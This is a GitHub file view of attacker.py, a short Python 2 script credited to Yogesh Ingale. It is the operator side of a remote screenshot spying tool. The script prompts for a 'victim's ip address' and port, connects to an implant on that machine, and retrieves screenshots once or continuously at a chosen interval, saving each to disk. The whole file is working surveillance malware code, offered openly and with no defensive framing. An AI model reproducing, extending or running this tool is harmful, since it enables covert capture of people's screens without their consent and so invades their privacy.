-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathattacker.py
More file actions
64 lines (55 loc) · 1.39 KB
/
attacker.py
File metadata and controls
64 lines (55 loc) · 1.39 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#Author: Yogesh Ingale
import socket
import time
def get_remote_screenshot(s):
filename = s.recv(30)
f=open(filename,"wb")
while True:
try:
data=s.recv(1000000)
except:
break
if not data:
break
f.write(data)
f.close()
print ("Received screenshot %s\n")%filename
try:
ip = raw_input("\nEnter victim's ip address: ")
port = raw_input("\nEnter vitim's port to connect (default 54321): ")
if port == '':
port = 54321
else:
port = int(port)
while True:
print ("1. Take screenshot\n2. Take screenshot countinuously\nEnter Ctrl+c to exit program.")
choice = raw_input("\nEnter your choice: ")
if not choice.isdigit() or (choice is not '1' and choice is not '2'):
print ("Enter proper choice...")
continue
if int(choice) == 1:
s=socket.socket()
s.settimeout(2)
s.connect((ip,port))
s.send(choice)
get_remote_screenshot(s)
s.close()
elif int(choice) == 2:
interval = raw_input("Enter time interval between continuos screenshots (in int seconds): ")
s=socket.socket()
s.settimeout(2)
s.connect((ip,port))
s.send(choice)
s.send(interval)
while True:
get_remote_screenshot(s)
if int(interval) > 2:
time.sleep(int(interval)-2)
else:
time.sleep(int(interval))
s.send("ok")
except KeyboardInterrupt:
s.close()
print ("Program terminated")
except:
print ("Something went wrong, check all inputs, socket connection")